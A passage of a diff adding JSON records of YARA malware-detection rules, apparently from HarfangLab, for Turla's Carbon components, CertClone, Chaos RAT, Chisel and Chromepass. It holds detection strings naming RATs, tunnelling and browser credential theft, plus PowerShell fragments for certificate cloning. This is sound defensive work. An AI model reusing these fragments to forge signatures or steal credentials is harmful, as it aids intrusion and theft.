 // mov     byte ptr [rax-0Eh], 0BAh\n            C6 [2] 98                   // mov     byte ptr [rax-0Dh], 98h\n            C6 [2] 76                   // mov     byte ptr [rax-0Ch], 76h\n            C6 [2] 54                   // mov     byte ptr [rax-0Bh], 54h\n            C6 [2] 32                   // mov     byte ptr [rax-0Ah], 32h\n            C6 [2] 10                   // mov     byte ptr [rax-9], 10h\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "carbon_encryption"
+  ],
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Carbon"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-carbon_injected_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584246Z",
+  "creation_date": "2026-03-23T11:46:25.584248Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584253Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0335/\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+  ],
+  "name": "carbon_injected.yar",
+  "content": "rule carbon_injected {\n    meta:\n        title = \"Carbon Injected Library\"\n        id = \"8c4e6c12-590e-4949-b52c-68424fb04414\"\n        description = \"Detects the Carbon Loader, a sophisticated Turla malware used to spy and exfiltrate data from sensitive organizations.\\nThe Carbon framework consists of four components: a dropper, a loader, an orchestrator, and an injected library. It employs the CAST-128 algorithm for encrypting configuration files and tasks. The malware features advanced peer-to-peer capabilities, enabling communication within a network via named pipes or TCP.\\nIt is recommended to investigate network traffic for potential peer-to-peer communication.\"\n        references = \"https://attack.mitre.org/software/S0335/\\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/\"\n        date = \"2023-02-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0335;attack.command_and_control;attack.t1071.001;attack.t1095;attack.collection;attack.t1074.001;attack.exfiltration;attack.t1048.003\"\n        classification = \"Windows.Malware.Carbon\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 50efba9e715fcb835f5b11bb0fe98ad29346117eb42e280494226a51deb6f76b\n        // 22463d04bc6e967ecd00674599be39d2d8be29acd6d5a805387fb633e452c6ea\n        // 915ad2650186cabd48befae7e195783e5b3bbdf38f0b4af9e0a9e73726779fa3\n        // 51bd477c7c20d457b5427da33b726be2f1086cf2322e1473263b3404ceb95d9f\n        // 313af523a1f8cb27520810ebdd08723b962c2b07849c815cff155ac345dc303e\n\n        $s1 = \"ST|NOID|\" fullword ascii\n        $s2 = \"STOP|FATAL|\" fullword ascii\n        $s3 = \"STOP|ZWKER|\" fullword ascii\n        $s4 = \"STOP|KILL|\" fullword ascii\n        $s5 = \"OPER|Setup last connect|\" fullword ascii\n        $s6 = \"user_winmax\" fullword ascii\n        $s7 = \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\5.0\\\\User Agent\\\\Pre Platform\" fullword ascii\n        $s8 = \"/javascript/view.php\" fullword ascii\n\n        // exclusion for the dropper\n        $exclusion = \"Storage Found: %s\" fullword wide\n\n        $canary = \"fdcb7995895786b2979a20843c481613b13a9c3f5d2b48cb5b91b3e245c0fdc6\"\n\n    condition:\n        5 of ($s*) and not $exclusion and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "carbon_injected"
+  ],
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Carbon"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1095",
+    "attack.t1071.001",
+    "attack.t1074.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-carbon_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569829Z",
+  "creation_date": "2026-03-23T11:46:25.569831Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569836Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0335/\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+  ],
+  "name": "carbon_loader.yar",
+  "content": "rule carbon_loader {\n    meta:\n        title = \"Carbon Loader\"\n        id = \"20d53d1a-5b98-484e-acd0-2dd29c9ff03d\"\n        description = \"Detects the Carbon Loader, a sophisticated Turla malware used to spy and exfiltrate data from sensitive organizations.\\nThe Carbon framework consists of four main components: a dropper, a loader, an orchestrator, and an injected library. This malware employs the CAST-128 algorithm for encrypting configuration files and tasks, and features advanced peer-to-peer capabilities to dispatch tasks across a network using named pipes or TCP.\\nIt is recommended to investigate for any suspicious network activity indicative of command-and-control communication.\"\n        references = \"https://attack.mitre.org/software/S0335/\\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/\"\n        date = \"2023-02-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0335;attack.defense_evasion;attack.t1140;attack.t1027;attack.persistence;attack.t1543.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.Carbon\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // ba9a87ba0ad1a4f4e81583a1449b20bf703cdbee6b1a639c13f4cbcd1b9eb57f\n        // 0b90db3a69aa8cfab36a66cd5390f46c32e3d88d8fcaefce8cd9e00700e10b65\n        // 492d7c13c771bb8a9f53e78b238c91613a8559f8a739e06281e3937cccc0508b\n        // 899b51b12b9bb9062c23da96f305338ad6a35c0377439ab556e5c45a6b80ced2\n        // 050685f211158109fb1b17096b3739750e74049fe9057ad3503d96174b42891a\n\n        $s1 = \"ModuleStart\" fullword ascii\n        $s2 = \"ModuleStop\" fullword ascii\n        $s3 = \"ModStart\" fullword ascii\n        $s4 = \"ModStop\" fullword ascii\n        $s5 = \"srservice\" fullword wide\n        $s6 = \"ipvpn\" fullword wide\n        $s7 = \"\\\\inf\\\\\" fullword wide\n        $s8 = \"msimghlp.dll\" fullword wide\n        $s9 = \"hpexdrvcons.dll\" fullword wide\n\n        // exclusion for the dropper\n        $exclusion = \"Storage Found: %s\" fullword wide\n\n    condition:\n        6 of ($s*) and not $exclusion\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "carbon_loader"
+  ],
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Carbon"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1027",
+    "attack.t1543.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-carbon_orchestrator_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573551Z",
+  "creation_date": "2026-03-23T11:46:25.573553Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573559Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0335/\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+  ],
+  "name": "carbon_orchestrator.yar",
+  "content": "rule carbon_orchestrator {\n    meta:\n        title = \"Carbon Orchestrator\"\n        id = \"9bb7fd2c-5475-4731-acd7-4ad4ec90a94e\"\n        description = \"Detects Carbon Orchestrator, a sophisticated Turla malware used for spying and data exfiltration in sensitive organizations.\\nThe Carbon framework consists of four main components: a dropper, a loader, an orchestrator, and an injected library.\\nThis malware employs the CAST-128 algorithm for encrypting configuration files and tasks.\\nIt features advanced peer-to-peer capabilities, enabling task distribution across networked devices via named pipes or TCP communication.\\nIt is recommended to analyze network connections for potential lateral movement or data exfiltration.\"\n        references = \"https://attack.mitre.org/software/S0335/\\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/\"\n        date = \"2023-02-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0335;attack.defense_evasion;attack.t1055.001;attack.command_and_control;attack.t1071.001;attack.t1095;attack.collection;attack.t1074.001;attack.exfiltration;attack.t1048.003\"\n        classification = \"Windows.Malware.Carbon\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e73c6b188d730d171e0596c219602f00ce32ff3d99ba0cc4ffb461caff007edb\n        // 34761da1ca9de0c562203c57f8907fdb6208bbe91ead6542853e8e36d27377bb\n        // 76e08b003cd2e9c7d1d733d18f993f94af157653b74a7bf1ec4a92eaad448500\n        // 26c5b878e5afab6edd6f02034c8ba7ee4deae161d4ec247b11915b9f3fb7cb1b\n        // f3aaa091fdbc8772fb7bd3a81665f4d33c3b62bf98caad6fee4424654ba26429\n\n        $s1 = \"run_task_system\" fullword ascii\n        $s2 = \"Plugin already loaded.\" fullword ascii\n        $s3 = \"INJ|-1|MF|\" fullword ascii\n        $s4 = \"dsniff.exe\" fullword ascii\n        $s5 = \"time2task\" fullword ascii\n        $s6 = \"frag_size=32768\" fullword ascii\n\n        // exclusion for the dropper\n        $exclusion = \"Storage Found: %s\" fullword wide\n\n    condition:\n        5 of ($s*) and not $exclusion\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "carbon_orchestrator"
+  ],
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Carbon"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1071.001",
+    "attack.t1095",
+    "attack.t1055.001",
+    "attack.t1074.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-certclone_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577477Z",
+  "creation_date": "2026-03-23T11:46:25.577479Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577485Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/TwoSevenOneT/CertClone"
+  ],
+  "name": "certclone.yar",
+  "content": "rule certclone {\n    meta:\n        title = \"CertClone HackTool\"\n        id = \"b3eb7b51-d18a-4d52-9a5c-fe215b42643b\"\n        description = \"Detects CertClone, a tool designed to clone the digital signature of any given program to sign another one and export the cloned certificate.\\nIt is recommended to examine the context in which this tool is executed to determine whether its use is legitimate.\"\n        references = \"https://github.com/TwoSevenOneT/CertClone\"\n        date = \"2025-10-16\"\n        modified = \"2025-10-21\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1036.001\"\n        classification = \"Windows.HackTool.CertClone\"\n        context = \"process,memory,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 48dc9e4e675ddec0584880a565db35a53a0980b4747f6b9ee7e3c14b5c8fc11e\n\n        $s1 = \"CertClone.exe\" wide fullword\n        $s2 = \"Two Seven One Three: https://x.com/TwoSevenOneT\" wide fullword\n        $s3 = \"=== Digital Signature Clone Tool ===\" wide fullword\n        $s4 = \"Usage: CertClone <rootPath> <pcaPath> <leafPath> <newCloneCertPath> <exePath>\" wide fullword\n\n        $f1 = \"Cert:\\\\CurrentUser\\\\My\" wide fullword\n        $f2 = \"$rootCert = Get-PfxCertificate -FilePath '\" wide fullword\n        $f3 = \"$clonedRoot = New-SelfSignedCertificate -CloneCert $rootCert -CertStoreLocation '\" wide fullword\n        $f4 = \"$pcaCert = Get-PfxCertificate -FilePath '\" wide fullword\n        $f5 = \"$clonedPCA = New-SelfSignedCertificate -CloneCert $pcaCert -Signer $clonedRoot -CertStoreLocation '\" wide fullword\n        $f6 = \"$leafCert = Get-PfxCertificate -FilePath '\" wide fullword\n        $f7 = \"$clonedLeaf = New-SelfSignedCertificate -CloneCert $leafCert -Signer $clonedPCA -CertStoreLocation '\" wide fullword\n        $f8 = \"Set-AuthenticodeSignature -Certificate $clonedLeaf -FilePath '\" wide fullword\n        $f9 = \"Export-Certificate -Type CERT -FilePath '\" wide fullword\n        $f10 = \"' -Cert $clonedRoot\" wide fullword\n        $f11 = \"==================================================\" wide fullword\n        $f12 = \"PowerShell script execution failed.\" wide fullword\n        $f13 = \"PowerShell script executed successfully.\"\n\n    condition:\n        2 of ($s*) or (all of ($f*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "certclone"
+  ],
+  "rule_creation_date": "2025-10-16",
+  "rule_modified_date": "2025-10-21",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.CertClone"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-chaosrat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577105Z",
+  "creation_date": "2026-03-23T11:46:25.577107Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577112Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/tiagorlampert/CHAOS/\nhttps://www.trendmicro.com/en_us/research/22/l/linux-cryptomining-enhanced-via-chaos-rat-.html"
+  ],
+  "name": "chaosrat.yar",
+  "content": "rule chaos_rat {\n    meta:\n        title = \"Chaos RAT\"\n        id = \"853a9767-e979-4598-bf9f-94ff833a4468\"\n        description = \"Detects the Chaos RAT Client.\\nChaos RAT is an open-source Remote Access Tool (RAT) written in Go, designed to provide remote control over infected computers.\\nThis tool has been exploited by multiple threat actors and is continuously updated, posing a persistent threat.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/tiagorlampert/CHAOS/\\nhttps://www.trendmicro.com/en_us/research/22/l/linux-cryptomining-enhanced-via-chaos-rat-.html\"\n        date = \"2024-11-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1219;attack.execution;attack.t1059.003;attack.t1059.004\"\n        classification = \"Trojan.ChaosRAT\"\n        context = \"process,memory,file.pe,file.elf\"\n        os = \"Windows,Linux\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 48360f6641b76b7d59e5045ec1f5700d85719658ee3634536318d1c8d977e56e\n        // 08365200a6b2e2d97a13273515e0a6f75cedc063676f27c3f9737d1a86fd0523\n        // 2a44b03a580075f0f9c8ac6d785851a9bcb994beb010abf68dbc342a4ff3c7f6\n        // 773c935a13ab49cc4613b30e8d2a75f1bde3b85b0bba6303eab756d70f459693\n\n        // https://github.com/tiagorlampert/CHAOS/blob/55d14b203bc1444498ee0c2b96a1ab3304d99d77/client/app/entities/device.go#L3\n        $str_conf_1 = \"json:\\\"hostname\\\"\" ascii fullword\n        $str_conf_2 = \"json:\\\"username\\\"\" ascii fullword\n        $str_conf_3 = \"json:\\\"user_id\\\"\" ascii fullword\n        $str_conf_4 = \"json:\\\"os_name\\\"\" ascii fullword\n        $str_conf_5 = \"json:\\\"os_arch\\\"\" ascii fullword\n        $str_conf_6 = \"json:\\\"mac_address\\\"\" ascii fullword\n        $str_conf_7 = \"json:\\\"local_ip_address\\\"\" ascii fullword\n        $str_conf_8 = \"json:\\\"port\\\"\" ascii fullword\n        $str_conf_9 = \"json:\\\"fetched_unix\\\"\" ascii fullword\n\n        // https://github.com/tiagorlampert/CHAOS/tree/55d14b203bc1444498ee0c2b96a1ab3304d99d77/client/app\n        $str_path_1 = \"/app/services/\" ascii\n        $str_path_2 = \"/app/gateways/\" ascii\n        $str_path_3 = \"/app/utils\" ascii\n        $str_path_4 = \"/app/infrastructure\" ascii\n        $str_path_5 = \"/app/environment\" ascii\n        $str_path_6 = \"/app/handler\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "chaos_rat"
+  ],
+  "rule_creation_date": "2024-11-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.ChaosRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1219",
+    "attack.t1059.004"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "file.pe",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-chisel_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576634Z",
+  "creation_date": "2026-03-23T11:46:25.576636Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576641Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/jpillora/chisel/\nhttps://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/"
+  ],
+  "name": "chisel.yar",
+  "content": "rule chisel {\n    meta:\n        title = \"Chisel Tunneling Tool\"\n        id = \"8e8f1b7f-b3ea-4b0d-8746-22f4062056e9\"\n        description = \"Detects Chisel, a fast TCP/UDP tunnel transported over HTTP and secured via SSH, written in Go.\\nChisel is a reverse proxy tool commonly used by attackers to establish tunnels into a victim's environment.\\nIt is recommended to monitor network traffic for potential malicious communication and to investigate the process responsible for the execution of Chisel.\"\n        references = \"https://github.com/jpillora/chisel/\\nhttps://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/\"\n        date = \"2022-10-27\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1572\"\n        classification = \"Windows.Tool.Chisel\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451\n\n        $s1 = \"chisel\" ascii\n        $s2 = \"jpillora\" ascii\n        $s3 = \"reverseproxy.go\" ascii\n        $s4 = \"The chisel process is listening for:\" ascii\n        $s5 = \"        \\\"<user:pass>\\\": [\\\"<addr-regex>\\\",\\\"<addr-regex>\\\"]\" fullword ascii\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 20MB and 4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "chisel"
+  ],
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Chisel"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1071.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-chromepass_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565472Z",
+  "creation_date": "2026-03-23T11:46:25.565475Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565480Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/darkarp/chromepass"
+  ],
+  "name": "chromepass.yar",
+  "content": "rule chromepass {\n    meta:\n        title = \"Chromepass HackTool\"\n        id = \"819b61bf-d442-4bdf-b1ad-5d269e921981\"\n        description = \"Detects a Chromepass generated binary.\\nChromepass is a python-based framework that generates Rust binaries that extract and exfiltrate information from Chrome-based browsers.\\nIt is recommended to investigate this file to determine its legitimacy.\"\n        references = \"https://github.com/darkarp/chromepass\"\n        date = \"2026-01-28\"\n        modified = \"2026-02-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.t1005;attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.HackTool.Chromepass\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 71d5600e2e9dbdc446aeca554d1f033a69d6f5cf5a7565d317cc22329c084f51\n        // d71a48fb7dc02a14823ceeedd5808e13b6734873f7b1b5c09db433b59eab256e\n        // 462de7fc96d2db7af3400b23d32a75d28909c19e756678f0d2f261efde705165\n        // f674032061e3d5639d168d68d60a8ff0a53bc249705ec9eb032a385015c20a42\n        // b8651be68b419350264c8fe2d2127f0ea0c32851d9ca8462506527162cc6154e\n\n        $s1 = \"release\\\\deps\\\\chromepass.pdb\"\n        $s2 = \"LOCALAPPDATAGoogleChromeUser DataMicrosoftEdgeChromiumBraveSoftwareBrave-BrowserVivaldiOpera SoftwareOpera Stable\"\n\n        // browser::run_robber()\n        // if ((NtQueryInformationProcess(ProcessHandle: GetCurrentProcess(),\n        //         ProcessInformationClass: ProcessDebugPort, &ProcessInformation,\n        //         ProcessInformationLength: 8, ReturnLength: nullptr) | ProcessInformation) == 0)\n        $nt_query_info_process = {\n            48 89 C1                             // mov     rcx, rax\n            BA 07 00 00 00                       // mov     edx, 0x7\n            [0-3]                                // mov     r8, rsi {cbData}\n            41 B9 08 00 00 00                    // mov     r9d, 0x8\n            FF [5]                               // call    qword [rel NtQueryInformationProcess]\n            0B                                   // or      eax, dword [rsp+0x80 {ProcessInformation}]\n        }\n\n        // Latest Chromepass uses the litcrypt crate to XOR strings\n        // zmm0 = _mm_shuffle_epi32(\n        //     _mm_shufflelo_epi16(_mm_unpacklo_epi8(zmm0, zmm0.q), 0), 0x44)\n        // int64_t r9 = 0\n        //\n        // do\n        //     int128_t zmm2 = *(encrypted_str_2 + r9 + 0x10) ^ zmm0\n        //     *(rdx + r9) = *(encrypted_str_2 + r9) ^ zmm0\n        //     *(rdx + r9 + 0x10) = zmm2\n        //     r9 += 0x20\n        // while (rcx_1 != r9)\n        $litcrypt_stub = 